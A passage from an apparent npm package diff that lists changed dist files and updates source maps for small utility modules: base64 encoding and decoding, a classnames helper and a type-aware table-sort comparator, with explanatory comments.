  1509. package/dist/vision/preprocess/image.js.map +1 -1
  1510. package/dist/vision/preprocess/pipeline.cjs.map +1 -1
  1511. package/dist/vision/preprocess/pipeline.js.map +1 -1
  1512. package/dist/vision/results.cjs.map +1 -1
  1513. package/dist/vision/results.js.map +1 -1
  1514. package/dist/vision/tasks/base.cjs.map +1 -1
  1515. package/dist/vision/tasks/base.js.map +1 -1
  1516. package/dist/vision/tasks/classifier.cjs.map +1 -1
  1517. package/dist/vision/tasks/classifier.js.map +1 -1
  1518. package/dist/vision/tasks/detectClassify.cjs.map +1 -1
  1519. package/dist/vision/tasks/detectClassify.js.map +1 -1
  1520. package/dist/vision/tasks/detector.cjs.map +1 -1
  1521. package/dist/vision/tasks/detector.js.map +1 -1
  1522. package/dist/vision/tasks/segmenter.cjs.map +1 -1
  1523. package/dist/vision/tasks/segmenter.js.map +1 -1
  1524. package/dist/vision/types.cjs.map +1 -1
  1525. package/dist/vision/types.js.map +1 -1
  1526. package/dist/vision/use-camera-stream.cjs +1 -1
  1527. package/dist/vision/use-camera-stream.cjs.map +1 -1
  1528. package/dist/vision/use-camera-stream.js +3 -9
  1529. package/dist/vision/use-camera-stream.js.map +1 -1
  1530. package/dist/vision/use-live-luminance.cjs +1 -1
  1531. package/dist/vision/use-live-luminance.cjs.map +1 -1
  1532. package/dist/vision/use-live-luminance.js +1 -5
  1533. package/dist/vision/use-live-luminance.js.map +1 -1
  1534. package/dist/vite/base-url.cjs.map +1 -1
  1535. package/dist/vite/base-url.js.map +1 -1
  1536. package/dist/vite/create-vite-config.cjs.map +1 -1
  1537. package/dist/vite/create-vite-config.js.map +1 -1
  1538. package/dist/vite/narrow-tokens.cjs.map +1 -1
  1539. package/dist/vite/narrow-tokens.js.map +1 -1
  1540. package/dist/vite/tempest-csp.cjs +1 -1
  1541. package/dist/vite/tempest-csp.cjs.map +1 -1
  1542. package/dist/vite/tempest-csp.js +2 -10
  1543. package/dist/vite/tempest-csp.js.map +1 -1
  1544. package/dist/vite/tempest-icons.cjs.map +1 -1
  1545. package/dist/vite/tempest-icons.js.map +1 -1
  1546. package/dist/vite/tempest-pwa-dev-sw.cjs +1 -1
  1547. package/dist/vite/tempest-pwa-dev-sw.cjs.map +1 -1
  1548. package/dist/vite/tempest-pwa-dev-sw.js +9 -16
  1549. package/dist/vite/tempest-pwa-dev-sw.js.map +1 -1
  1550. package/dist/vite/tempest-pwa-icons.cjs.map +1 -1
  1551. package/dist/vite/tempest-pwa-icons.js.map +1 -1
  1552. package/dist/vite/tempest-pwa-manifest.cjs.map +1 -1
  1553. package/dist/vite/tempest-pwa-manifest.js.map +1 -1
  1554. package/dist/vite/tempest-styles.cjs.map +1 -1
  1555. package/dist/vite/tempest-styles.js.map +1 -1
  1556. package/dist/vite/tempest-vitest.cjs.map +1 -1
  1557. package/dist/vite/tempest-vitest.js.map +1 -1
  1558. package/dist/webrtc/link-stats.cjs.map +1 -1
  1559. package/dist/webrtc/link-stats.js.map +1 -1
  1560. package/dist/webrtc/mesh-quality.cjs.map +1 -1
  1561. package/dist/webrtc/mesh-quality.js.map +1 -1
  1562. package/dist/webrtc/opus-sdp.cjs.map +1 -1
  1563. package/dist/webrtc/opus-sdp.js.map +1 -1
  1564. package/dist/webrtc/peer-link.cjs +1 -1
  1565. package/dist/webrtc/peer-link.cjs.map +1 -1
  1566. package/dist/webrtc/peer-link.js +2 -5
  1567. package/dist/webrtc/peer-link.js.map +1 -1
  1568. package/dist/webrtc/peer-mesh.cjs +1 -1
  1569. package/dist/webrtc/peer-mesh.cjs.map +1 -1
  1570. package/dist/webrtc/peer-mesh.js +8 -24
  1571. package/dist/webrtc/peer-mesh.js.map +1 -1
  1572. package/dist/webrtc/sender-bitrate.cjs.map +1 -1
  1573. package/dist/webrtc/sender-bitrate.js.map +1 -1
  1574. package/dist/webrtc/use-link-stats.cjs.map +1 -1
  1575. package/dist/webrtc/use-link-stats.js.map +1 -1
  1576. package/dist/ws/create-web-socket.cjs +1 -1
  1577. package/dist/ws/create-web-socket.cjs.map +1 -1
  1578. package/dist/ws/create-web-socket.js +4 -22
  1579. package/dist/ws/create-web-socket.js.map +1 -1
  1580. package/dist/ws/resilience.cjs.map +1 -1
  1581. package/dist/ws/resilience.js.map +1 -1
  1582. package/dist/ws/use-web-socket.cjs.map +1 -1
  1583. package/dist/ws/use-web-socket.js.map +1 -1
  1584. package/package.json +9 -6
  1585. package/template/package.json +1 -1
@@ -1 +1 @@
1
- {"version":3,"file":"base64.cjs","names":[],"sources":["../../src/utils/base64.ts"],"sourcesContent":["/**\n * Base64-encode bytes, without splatting the whole array into `fromCharCode`.\n *\n * `String.fromCharCode(...bytes)` overflows the argument limit somewhere around\n * a hundred thousand entries — which a compressed save reaches easily — so the\n * conversion walks the buffer in 32 KiB windows. That is also why this is the\n * version worth sharing: the byte-at-a-time loop the other two call sites used\n * has no argument limit either, but it is markedly slower on the payload sizes\n * `compressedStorage` exists for.\n *\n * @param bytes - The bytes to encode.\n * @param options - Pass `urlSafe` for the base64url alphabet (`-`/`_`, unpadded),\n * which is what WebAuthn and anything travelling in a URL needs.\n * @returns Base64 text.\n */\nexport function bytesToBase64(bytes: Uint8Array, options: { urlSafe?: boolean } = {}): string {\n let binary = \"\";\n const chunkSize = 0x8000;\n for (let index = 0; index < bytes.length; index += chunkSize) {\n binary += String.fromCharCode(...bytes.subarray(index, index + chunkSize));\n }\n const encoded = btoa(binary);\n if (!options.urlSafe) return encoded;\n return encoded.replace(/\\+/g, \"-\").replace(/\\//g, \"_\").replace(/=+$/, \"\");\n}\n\n/**\n * Decode base64 into bytes, accepting either alphabet.\n *\n * Takes no `urlSafe` option on purpose: translating `-`/`_` and restoring the\n * padding are no-ops on standard padded base64, so one permissive decoder is\n * correct for both inputs. Getting this half wrong — usually by feeding\n * unpadded base64url straight to `atob` and losing the last byte — is the\n * classic broken-WebAuthn bug.\n *\n * @param value - Base64 or base64url text, with or without `=` padding.\n * @returns The decoded bytes.\n */\nexport function base64ToBytes(value: string): Uint8Array<ArrayBuffer> {\n const standard = value.replace(/-/g, \"+\").replace(/_/g, \"/\");\n const padded = standard.padEnd(standard.length + ((4 - (standard.length % 4)) % 4), \"=\");\n const binary = atob(padded);\n const bytes = new Uint8Array(binary.length);\n for (let index = 0; index < binary.length; index += 1) {\n bytes[index] = binary.charCodeAt(index);\n }\n return bytes;\n}\n"],"mappings":"AAeA,SAAgB,EAAc,EAAmB,EAAiC,CAAC,EAAW,CAC1F,IAAI,EAAS,GACP,EAAY,MAClB,IAAK,IAAI,EAAQ,EAAG,EAAQ,EAAM,OAAQ,GAAS,EAC/C,GAAU,OAAO,aAAa,GAAG,EAAM,SAAS,EAAO,EAAQ,CAAS,CAAC,EAE7E,IAAM,EAAU,KAAK,CAAM,EAE3B,OADK,EAAQ,QACN,EAAQ,QAAQ,MAAO,GAAG,CAAC,CAAC,QAAQ,MAAO,GAAG,CAAC,CAAC,QAAQ,MAAO,EAAE,EAD3C,CAEjC,CAcA,SAAgB,EAAc,EAAwC,CAClE,IAAM,EAAW,EAAM,QAAQ,KAAM,GAAG,CAAC,CAAC,QAAQ,KAAM,GAAG,EACrD,EAAS,EAAS,OAAO,EAAS,QAAW,EAAK,EAAS,OAAS,GAAM,EAAI,GAAG,EACjF,EAAS,KAAK,CAAM,EACpB,EAAQ,IAAI,WAAW,EAAO,MAAM,EAC1C,IAAK,IAAI,EAAQ,EAAG,EAAQ,EAAO,OAAQ,GAAS,EAChD,EAAM,GAAS,EAAO,WAAW,CAAK,EAE1C,OAAO,CACX"}
1
+ {"version":3,"file":"base64.cjs","names":["bytesToBase64","binary","chunkSize","index","bytes","encoded","options","base64ToBytes","standard","value","padded"],"sources":["../../src/utils/base64.ts"],"sourcesContent":["/**\n * Base64-encode bytes, without splatting the whole array into `fromCharCode`.\n *\n * `String.fromCharCode(...bytes)` overflows the argument limit somewhere around\n * a hundred thousand entries — which a compressed save reaches easily — so the\n * conversion walks the buffer in 32 KiB windows. That is also why this is the\n * version worth sharing: the byte-at-a-time loop the other two call sites used\n * has no argument limit either, but it is markedly slower on the payload sizes\n * `compressedStorage` exists for.\n *\n * @param bytes - The bytes to encode.\n * @param options - Pass `urlSafe` for the base64url alphabet (`-`/`_`, unpadded),\n * which is what WebAuthn and anything travelling in a URL needs.\n * @returns Base64 text.\n */\nexport function bytesToBase64(bytes: Uint8Array, options: { urlSafe?: boolean } = {}): string {\n let binary = \"\";\n const chunkSize = 0x8000;\n for (let index = 0; index < bytes.length; index += chunkSize) {\n binary += String.fromCharCode(...bytes.subarray(index, index + chunkSize));\n }\n const encoded = btoa(binary);\n if (!options.urlSafe) return encoded;\n return encoded.replace(/\\+/g, \"-\").replace(/\\//g, \"_\").replace(/=+$/, \"\");\n}\n\n/**\n * Decode base64 into bytes, accepting either alphabet.\n *\n * Takes no `urlSafe` option on purpose: translating `-`/`_` and restoring the\n * padding are no-ops on standard padded base64, so one permissive decoder is\n * correct for both inputs. Getting this half wrong — usually by feeding\n * unpadded base64url straight to `atob` and losing the last byte — is the\n * classic broken-WebAuthn bug.\n *\n * @param value - Base64 or base64url text, with or without `=` padding.\n * @returns The decoded bytes.\n */\nexport function base64ToBytes(value: string): Uint8Array<ArrayBuffer> {\n const standard = value.replace(/-/g, \"+\").replace(/_/g, \"/\");\n const padded = standard.padEnd(standard.length + ((4 - (standard.length % 4)) % 4), \"=\");\n const binary = atob(padded);\n const bytes = new Uint8Array(binary.length);\n for (let index = 0; index < binary.length; index += 1) {\n bytes[index] = binary.charCodeAt(index);\n }\n return bytes;\n}\n"],"mappings":"AAeA,SAAgBA,EAAc,EAAmB,EAAiC,CAAC,EAAW,CAC1F,IAAIC,EAAS,GACPC,EAAY,MAClB,IAAK,IAAIC,EAAQ,EAAGA,EAAQC,EAAM,OAAQ,GAASF,EAC/C,GAAU,OAAO,aAAa,GAAGE,EAAM,SAASD,EAAOA,EAAQD,CAAS,CAAC,EAE7E,IAAMG,EAAU,KAAKJ,CAAM,EAE3B,OADKK,EAAQ,QACND,EAAQ,QAAQ,MAAO,GAAG,CAAC,CAAC,QAAQ,MAAO,GAAG,CAAC,CAAC,QAAQ,MAAO,EAAE,EAD3CA,CAEjC,CAcA,SAAgBE,EAAc,EAAwC,CAClE,IAAMC,EAAWC,EAAM,QAAQ,KAAM,GAAG,CAAC,CAAC,QAAQ,KAAM,GAAG,EACrDC,EAASF,EAAS,OAAOA,EAAS,QAAW,EAAKA,EAAS,OAAS,GAAM,EAAI,GAAG,EACjFP,EAAS,KAAKS,CAAM,EACpBN,EAAQ,IAAI,WAAWH,EAAO,MAAM,EAC1C,IAAK,IAAIE,EAAQ,EAAGA,EAAQF,EAAO,OAAQ,GAAS,EAChD,EAAME,GAASF,EAAO,WAAWE,CAAK,EAE1C,OAAOC,CACX,C"}
@@ -1 +1 @@
1
- {"version":3,"file":"base64.js","names":[],"sources":["../../src/utils/base64.ts"],"sourcesContent":["/**\n * Base64-encode bytes, without splatting the whole array into `fromCharCode`.\n *\n * `String.fromCharCode(...bytes)` overflows the argument limit somewhere around\n * a hundred thousand entries — which a compressed save reaches easily — so the\n * conversion walks the buffer in 32 KiB windows. That is also why this is the\n * version worth sharing: the byte-at-a-time loop the other two call sites used\n * has no argument limit either, but it is markedly slower on the payload sizes\n * `compressedStorage` exists for.\n *\n * @param bytes - The bytes to encode.\n * @param options - Pass `urlSafe` for the base64url alphabet (`-`/`_`, unpadded),\n * which is what WebAuthn and anything travelling in a URL needs.\n * @returns Base64 text.\n */\nexport function bytesToBase64(bytes: Uint8Array, options: { urlSafe?: boolean } = {}): string {\n let binary = \"\";\n const chunkSize = 0x8000;\n for (let index = 0; index < bytes.length; index += chunkSize) {\n binary += String.fromCharCode(...bytes.subarray(index, index + chunkSize));\n }\n const encoded = btoa(binary);\n if (!options.urlSafe) return encoded;\n return encoded.replace(/\\+/g, \"-\").replace(/\\//g, \"_\").replace(/=+$/, \"\");\n}\n\n/**\n * Decode base64 into bytes, accepting either alphabet.\n *\n * Takes no `urlSafe` option on purpose: translating `-`/`_` and restoring the\n * padding are no-ops on standard padded base64, so one permissive decoder is\n * correct for both inputs. Getting this half wrong — usually by feeding\n * unpadded base64url straight to `atob` and losing the last byte — is the\n * classic broken-WebAuthn bug.\n *\n * @param value - Base64 or base64url text, with or without `=` padding.\n * @returns The decoded bytes.\n */\nexport function base64ToBytes(value: string): Uint8Array<ArrayBuffer> {\n const standard = value.replace(/-/g, \"+\").replace(/_/g, \"/\");\n const padded = standard.padEnd(standard.length + ((4 - (standard.length % 4)) % 4), \"=\");\n const binary = atob(padded);\n const bytes = new Uint8Array(binary.length);\n for (let index = 0; index < binary.length; index += 1) {\n bytes[index] = binary.charCodeAt(index);\n }\n return bytes;\n}\n"],"mappings":";AAeA,SAAgB,EAAc,GAAmB,IAAiC,CAAC,GAAW;CAC1F,IAAI,IAAS,IACP,IAAY;CAClB,KAAK,IAAI,IAAQ,GAAG,IAAQ,EAAM,QAAQ,KAAS,GAC/C,KAAU,OAAO,aAAa,GAAG,EAAM,SAAS,GAAO,IAAQ,CAAS,CAAC;CAE7E,IAAM,IAAU,KAAK,CAAM;CAE3B,OADK,EAAQ,UACN,EAAQ,QAAQ,OAAO,GAAG,CAAC,CAAC,QAAQ,OAAO,GAAG,CAAC,CAAC,QAAQ,OAAO,EAAE,IAD3C;AAEjC;AAcA,SAAgB,EAAc,GAAwC;CAClE,IAAM,IAAW,EAAM,QAAQ,MAAM,GAAG,CAAC,CAAC,QAAQ,MAAM,GAAG,GACrD,IAAS,EAAS,OAAO,EAAS,UAAW,IAAK,EAAS,SAAS,KAAM,GAAI,GAAG,GACjF,IAAS,KAAK,CAAM,GACpB,IAAQ,IAAI,WAAW,EAAO,MAAM;CAC1C,KAAK,IAAI,IAAQ,GAAG,IAAQ,EAAO,QAAQ,KAAS,GAChD,EAAM,KAAS,EAAO,WAAW,CAAK;CAE1C,OAAO;AACX"}
1
+ {"version":3,"file":"base64.js","names":["bytesToBase64","binary","chunkSize","index","bytes","encoded","options","base64ToBytes","standard","value","padded"],"sources":["../../src/utils/base64.ts"],"sourcesContent":["/**\n * Base64-encode bytes, without splatting the whole array into `fromCharCode`.\n *\n * `String.fromCharCode(...bytes)` overflows the argument limit somewhere around\n * a hundred thousand entries — which a compressed save reaches easily — so the\n * conversion walks the buffer in 32 KiB windows. That is also why this is the\n * version worth sharing: the byte-at-a-time loop the other two call sites used\n * has no argument limit either, but it is markedly slower on the payload sizes\n * `compressedStorage` exists for.\n *\n * @param bytes - The bytes to encode.\n * @param options - Pass `urlSafe` for the base64url alphabet (`-`/`_`, unpadded),\n * which is what WebAuthn and anything travelling in a URL needs.\n * @returns Base64 text.\n */\nexport function bytesToBase64(bytes: Uint8Array, options: { urlSafe?: boolean } = {}): string {\n let binary = \"\";\n const chunkSize = 0x8000;\n for (let index = 0; index < bytes.length; index += chunkSize) {\n binary += String.fromCharCode(...bytes.subarray(index, index + chunkSize));\n }\n const encoded = btoa(binary);\n if (!options.urlSafe) return encoded;\n return encoded.replace(/\\+/g, \"-\").replace(/\\//g, \"_\").replace(/=+$/, \"\");\n}\n\n/**\n * Decode base64 into bytes, accepting either alphabet.\n *\n * Takes no `urlSafe` option on purpose: translating `-`/`_` and restoring the\n * padding are no-ops on standard padded base64, so one permissive decoder is\n * correct for both inputs. Getting this half wrong — usually by feeding\n * unpadded base64url straight to `atob` and losing the last byte — is the\n * classic broken-WebAuthn bug.\n *\n * @param value - Base64 or base64url text, with or without `=` padding.\n * @returns The decoded bytes.\n */\nexport function base64ToBytes(value: string): Uint8Array<ArrayBuffer> {\n const standard = value.replace(/-/g, \"+\").replace(/_/g, \"/\");\n const padded = standard.padEnd(standard.length + ((4 - (standard.length % 4)) % 4), \"=\");\n const binary = atob(padded);\n const bytes = new Uint8Array(binary.length);\n for (let index = 0; index < binary.length; index += 1) {\n bytes[index] = binary.charCodeAt(index);\n }\n return bytes;\n}\n"],"mappings":";AAeA,SAAgBA,EAAc,GAAmB,IAAiC,CAAC,GAAW;CAC1F,IAAIC,IAAS,IACPC,IAAY;CAClB,KAAK,IAAIC,IAAQ,GAAGA,IAAQC,EAAM,QAAQ,KAASF,GAC/C,KAAU,OAAO,aAAa,GAAGE,EAAM,SAASD,GAAOA,IAAQD,CAAS,CAAC;CAE7E,IAAMG,IAAU,KAAKJ,CAAM;CAE3B,OADKK,EAAQ,UACND,EAAQ,QAAQ,OAAO,GAAG,CAAC,CAAC,QAAQ,OAAO,GAAG,CAAC,CAAC,QAAQ,OAAO,EAAE,IAD3CA;AAEjC;AAcA,SAAgBE,EAAc,GAAwC;CAClE,IAAMC,IAAWC,EAAM,QAAQ,MAAM,GAAG,CAAC,CAAC,QAAQ,MAAM,GAAG,GACrDC,IAASF,EAAS,OAAOA,EAAS,UAAW,IAAKA,EAAS,SAAS,KAAM,GAAI,GAAG,GACjFP,IAAS,KAAKS,CAAM,GACpBN,IAAQ,IAAI,WAAWH,EAAO,MAAM;CAC1C,KAAK,IAAIE,IAAQ,GAAGA,IAAQF,EAAO,QAAQ,KAAS,GAChD,EAAME,KAASF,EAAO,WAAWE,CAAK;CAE1C,OAAOC;AACX"}
@@ -1 +1 @@
1
- {"version":3,"file":"cn.cjs","names":[],"sources":["../../src/utils/cn.ts"],"sourcesContent":["type ClassValue = string | number | bigint | boolean | null | undefined | ClassValue[];\n\n/**\n * Tiny classnames helper. Accepts strings, falsy values and nested arrays.\n *\n * @param values - Class entries, conditionally truthy.\n * @returns A single space-joined class string.\n */\nexport function cn(...values: ClassValue[]): string {\n const out: string[] = [];\n for (const value of values) {\n if (value === null || value === undefined || value === false || value === true) {\n continue;\n }\n if (typeof value === \"string\") {\n if (value) out.push(value);\n } else if (typeof value === \"number\" || typeof value === \"bigint\") {\n out.push(String(value));\n } else if (Array.isArray(value)) {\n const nested = cn(...value);\n if (nested) out.push(nested);\n }\n }\n return out.join(\" \");\n}\n"],"mappings":"AAQA,SAAgB,EAAG,GAAG,EAA8B,CAChD,IAAM,EAAgB,CAAC,EACvB,IAAK,IAAM,KAAS,EACZ,MAAU,MAA+B,IAAU,IAAS,IAAU,GAG1E,IAAI,OAAO,GAAU,SACb,GAAO,EAAI,KAAK,CAAK,OACtB,GAAI,OAAO,GAAU,UAAY,OAAO,GAAU,SACrD,EAAI,KAAK,OAAO,CAAK,CAAC,OACnB,GAAI,MAAM,QAAQ,CAAK,EAAG,CAC7B,IAAM,EAAS,EAAG,GAAG,CAAK,EACtB,GAAQ,EAAI,KAAK,CAAM,CAC/B,EAEJ,OAAO,EAAI,KAAK,GAAG,CACvB"}
1
+ {"version":3,"file":"cn.cjs","names":["cn","values","out","value","nested"],"sources":["../../src/utils/cn.ts"],"sourcesContent":["type ClassValue = string | number | bigint | boolean | null | undefined | ClassValue[];\n\n/**\n * Tiny classnames helper. Accepts strings, falsy values and nested arrays.\n *\n * @param values - Class entries, conditionally truthy.\n * @returns A single space-joined class string.\n */\nexport function cn(...values: ClassValue[]): string {\n const out: string[] = [];\n for (const value of values) {\n if (value === null || value === undefined || value === false || value === true) {\n continue;\n }\n if (typeof value === \"string\") {\n if (value) out.push(value);\n } else if (typeof value === \"number\" || typeof value === \"bigint\") {\n out.push(String(value));\n } else if (Array.isArray(value)) {\n const nested = cn(...value);\n if (nested) out.push(nested);\n }\n }\n return out.join(\" \");\n}\n"],"mappings":"AAQA,SAAgBA,EAAG,GAAGC,EAA8B,CAChD,IAAMC,EAAgB,CAAC,EACvB,IAAK,IAAMC,KAASF,EAChB,GAAIE,GAAU,MAA+BA,IAAU,IAASA,IAAU,GAG1E,IAAI,OAAOA,GAAU,SACbA,GAAOD,EAAI,KAAKC,CAAK,OACtB,GAAI,OAAOA,GAAU,UAAY,OAAOA,GAAU,SACrDD,EAAI,KAAK,OAAOC,CAAK,CAAC,OACnB,GAAI,MAAM,QAAQA,CAAK,EAAG,CAC7B,IAAMC,EAASJ,EAAG,GAAGG,CAAK,EACtBC,GAAQF,EAAI,KAAKE,CAAM,CAC/B,EAEJ,OAAOF,EAAI,KAAK,GAAG,CACvB,C"}
@@ -1 +1 @@
1
- {"version":3,"file":"cn.js","names":[],"sources":["../../src/utils/cn.ts"],"sourcesContent":["type ClassValue = string | number | bigint | boolean | null | undefined | ClassValue[];\n\n/**\n * Tiny classnames helper. Accepts strings, falsy values and nested arrays.\n *\n * @param values - Class entries, conditionally truthy.\n * @returns A single space-joined class string.\n */\nexport function cn(...values: ClassValue[]): string {\n const out: string[] = [];\n for (const value of values) {\n if (value === null || value === undefined || value === false || value === true) {\n continue;\n }\n if (typeof value === \"string\") {\n if (value) out.push(value);\n } else if (typeof value === \"number\" || typeof value === \"bigint\") {\n out.push(String(value));\n } else if (Array.isArray(value)) {\n const nested = cn(...value);\n if (nested) out.push(nested);\n }\n }\n return out.join(\" \");\n}\n"],"mappings":";AAQA,SAAgB,EAAG,GAAG,GAA8B;CAChD,IAAM,IAAgB,CAAC;CACvB,KAAK,IAAM,KAAS,GACZ,SAAU,QAA+B,MAAU,MAAS,MAAU,IAG1E;MAAI,OAAO,KAAU,UACb,AAAA,KAAO,EAAI,KAAK,CAAK;OACtB,IAAI,OAAO,KAAU,YAAY,OAAO,KAAU,UACrD,EAAI,KAAK,OAAO,CAAK,CAAC;OACnB,IAAI,MAAM,QAAQ,CAAK,GAAG;GAC7B,IAAM,IAAS,EAAG,GAAG,CAAK;GAC1B,AAAI,KAAQ,EAAI,KAAK,CAAM;EAC/B;;CAEJ,OAAO,EAAI,KAAK,GAAG;AACvB"}
1
+ {"version":3,"file":"cn.js","names":["cn","values","out","value","nested"],"sources":["../../src/utils/cn.ts"],"sourcesContent":["type ClassValue = string | number | bigint | boolean | null | undefined | ClassValue[];\n\n/**\n * Tiny classnames helper. Accepts strings, falsy values and nested arrays.\n *\n * @param values - Class entries, conditionally truthy.\n * @returns A single space-joined class string.\n */\nexport function cn(...values: ClassValue[]): string {\n const out: string[] = [];\n for (const value of values) {\n if (value === null || value === undefined || value === false || value === true) {\n continue;\n }\n if (typeof value === \"string\") {\n if (value) out.push(value);\n } else if (typeof value === \"number\" || typeof value === \"bigint\") {\n out.push(String(value));\n } else if (Array.isArray(value)) {\n const nested = cn(...value);\n if (nested) out.push(nested);\n }\n }\n return out.join(\" \");\n}\n"],"mappings":";AAQA,SAAgBA,EAAG,GAAGC,GAA8B;CAChD,IAAMC,IAAgB,CAAC;CACvB,KAAK,IAAMC,KAASF,GAChB,IAAIE,KAAU,QAA+BA,MAAU,MAASA,MAAU,IAG1E;MAAI,OAAOA,KAAU,UACb,AAAAA,KAAOD,EAAI,KAAKC,CAAK;OACtB,IAAI,OAAOA,KAAU,YAAY,OAAOA,KAAU,UACrD,EAAI,KAAK,OAAOA,CAAK,CAAC;OACnB,IAAI,MAAM,QAAQA,CAAK,GAAG;GAC7B,IAAMC,IAASJ,EAAG,GAAGG,CAAK;GAC1B,AAAIC,KAAQF,EAAI,KAAKE,CAAM;EAC/B;;CAEJ,OAAOF,EAAI,KAAK,GAAG;AACvB"}
@@ -1 +1 @@
1
- {"version":3,"file":"compare-values.cjs","names":[],"sources":["../../src/utils/compare-values.ts"],"sourcesContent":["/**\n * One collator for every string comparison a table sort makes.\n *\n * `localeCompare(other, undefined, { numeric: true })` builds a collator per\n * call — passing an options bag opts out of the engine's cached-default fast\n * path — and a sort makes O(n log n) of these. Measured at 200k comparisons:\n * 453 ms through `localeCompare` against 25 ms through a hoisted collator.\n */\nconst TEXT_COLLATOR = new Intl.Collator(undefined, { numeric: true });\n\n/**\n * Compare two arbitrary cell values with stable, type-aware ordering.\n *\n * The comparator every table in the SDK sorts with, so `DataTable` and\n * `VirtualTable` agree on what \"sorted\" means. The type-aware branches exist\n * because the naive `String(a) < String(b)` gets the two most common cases wrong:\n * numbers would sort `10` before `9`, and dates would sort by their formatted\n * text. Strings fall back to `localeCompare` with `numeric: true`, so `\"item 2\"`\n * lands before `\"item 10\"`.\n *\n * `null` and `undefined` sort first, together — a missing value is not smaller\n * than another missing value.\n *\n * @param a - First value.\n * @param b - Second value.\n * @returns Negative when `a < b`, positive when `a > b`, zero when equal.\n */\nexport function compareValues(a: unknown, b: unknown): number {\n if (a == null && b == null) return 0;\n if (a == null) return -1;\n if (b == null) return 1;\n if (typeof a === \"number\" && typeof b === \"number\") return a - b;\n if (a instanceof Date && b instanceof Date) return a.getTime() - b.getTime();\n if (typeof a === \"boolean\" && typeof b === \"boolean\") return Number(a) - Number(b);\n return TEXT_COLLATOR.compare(String(a), String(b));\n}\n"],"mappings":"AAQA,IAAM,EAAgB,IAAI,KAAK,SAAS,IAAA,GAAW,CAAE,QAAS,EAAK,CAAC,EAmBpE,SAAgB,EAAc,EAAY,EAAoB,CAO1D,OANI,GAAK,MAAQ,GAAK,KAAa,EAC/B,GAAK,KAAa,GAClB,GAAK,KAAa,EAClB,OAAO,GAAM,UAAY,OAAO,GAAM,SAAiB,EAAI,EAC3D,aAAa,MAAQ,aAAa,KAAa,EAAE,QAAQ,EAAI,EAAE,QAAQ,EACvE,OAAO,GAAM,WAAa,OAAO,GAAM,UAAkB,OAAO,CAAC,EAAI,OAAO,CAAC,EAC1E,EAAc,QAAQ,OAAO,CAAC,EAAG,OAAO,CAAC,CAAC,CACrD"}
1
+ {"version":3,"file":"compare-values.cjs","names":["TEXT_COLLATOR","compareValues","a","b"],"sources":["../../src/utils/compare-values.ts"],"sourcesContent":["/**\n * One collator for every string comparison a table sort makes.\n *\n * `localeCompare(other, undefined, { numeric: true })` builds a collator per\n * call — passing an options bag opts out of the engine's cached-default fast\n * path — and a sort makes O(n log n) of these. Measured at 200k comparisons:\n * 453 ms through `localeCompare` against 25 ms through a hoisted collator.\n */\nconst TEXT_COLLATOR = new Intl.Collator(undefined, { numeric: true });\n\n/**\n * Compare two arbitrary cell values with stable, type-aware ordering.\n *\n * The comparator every table in the SDK sorts with, so `DataTable` and\n * `VirtualTable` agree on what \"sorted\" means. The type-aware branches exist\n * because the naive `String(a) < String(b)` gets the two most common cases wrong:\n * numbers would sort `10` before `9`, and dates would sort by their formatted\n * text. Strings fall back to `localeCompare` with `numeric: true`, so `\"item 2\"`\n * lands before `\"item 10\"`.\n *\n * `null` and `undefined` sort first, together — a missing value is not smaller\n * than another missing value.\n *\n * @param a - First value.\n * @param b - Second value.\n * @returns Negative when `a < b`, positive when `a > b`, zero when equal.\n */\nexport function compareValues(a: unknown, b: unknown): number {\n if (a == null && b == null) return 0;\n if (a == null) return -1;\n if (b == null) return 1;\n if (typeof a === \"number\" && typeof b === \"number\") return a - b;\n if (a instanceof Date && b instanceof Date) return a.getTime() - b.getTime();\n if (typeof a === \"boolean\" && typeof b === \"boolean\") return Number(a) - Number(b);\n return TEXT_COLLATOR.compare(String(a), String(b));\n}\n"],"mappings":"AAQA,IAAMA,EAAgB,IAAI,KAAK,SAAS,IAAA,GAAW,CAAE,QAAS,EAAK,CAAC,EAmBpE,SAAgBC,EAAc,EAAY,EAAoB,CAO1D,OANIC,GAAK,MAAQC,GAAK,KAAa,EAC/BD,GAAK,KAAa,GAClBC,GAAK,KAAa,EAClB,OAAOD,GAAM,UAAY,OAAOC,GAAM,SAAiBD,EAAIC,EAC3DD,aAAa,MAAQC,aAAa,KAAaD,EAAE,QAAQ,EAAIC,EAAE,QAAQ,EACvE,OAAOD,GAAM,WAAa,OAAOC,GAAM,UAAkB,OAAOD,CAAC,EAAI,OAAOC,CAAC,EAC1EH,EAAc,QAAQ,OAAOE,CAAC,EAAG,OAAOC,CAAC,CAAC,CACrD,C"}
@@ -1 +1 @@
1
- {"version":3,"file":"compare-values.js","names":[],"sources":["../../src/utils/compare-values.ts"],"sourcesContent":["/**\n * One collator for every string comparison a table sort makes.\n *\n * `localeCompare(other, undefined, { numeric: true })` builds a collator per\n * call — passing an options bag opts out of the engine's cached-default fast\n * path — and a sort makes O(n log n) of these. Measured at 200k comparisons:\n * 453 ms through `localeCompare` against 25 ms through a hoisted collator.\n */\nconst TEXT_COLLATOR = new Intl.Collator(undefined, { numeric: true });\n\n/**\n * Compare two arbitrary cell values with stable, type-aware ordering.\n *\n * The comparator every table in the SDK sorts with, so `DataTable` and\n * `VirtualTable` agree on what \"sorted\" means. The type-aware branches exist\n * because the naive `String(a) < String(b)` gets the two most common cases wrong:\n * numbers would sort `10` before `9`, and dates would sort by their formatted\n * text. Strings fall back to `localeCompare` with `numeric: true`, so `\"item 2\"`\n * lands before `\"item 10\"`.\n *\n * `null` and `undefined` sort first, together — a missing value is not smaller\n * than another missing value.\n *\n * @param a - First value.\n * @param b - Second value.\n * @returns Negative when `a < b`, positive when `a > b`, zero when equal.\n */\nexport function compareValues(a: unknown, b: unknown): number {\n if (a == null && b == null) return 0;\n if (a == null) return -1;\n if (b == null) return 1;\n if (typeof a === \"number\" && typeof b === \"number\") return a - b;\n if (a instanceof Date && b instanceof Date) return a.getTime() - b.getTime();\n if (typeof a === \"boolean\" && typeof b === \"boolean\") return Number(a) - Number(b);\n return TEXT_COLLATOR.compare(String(a), 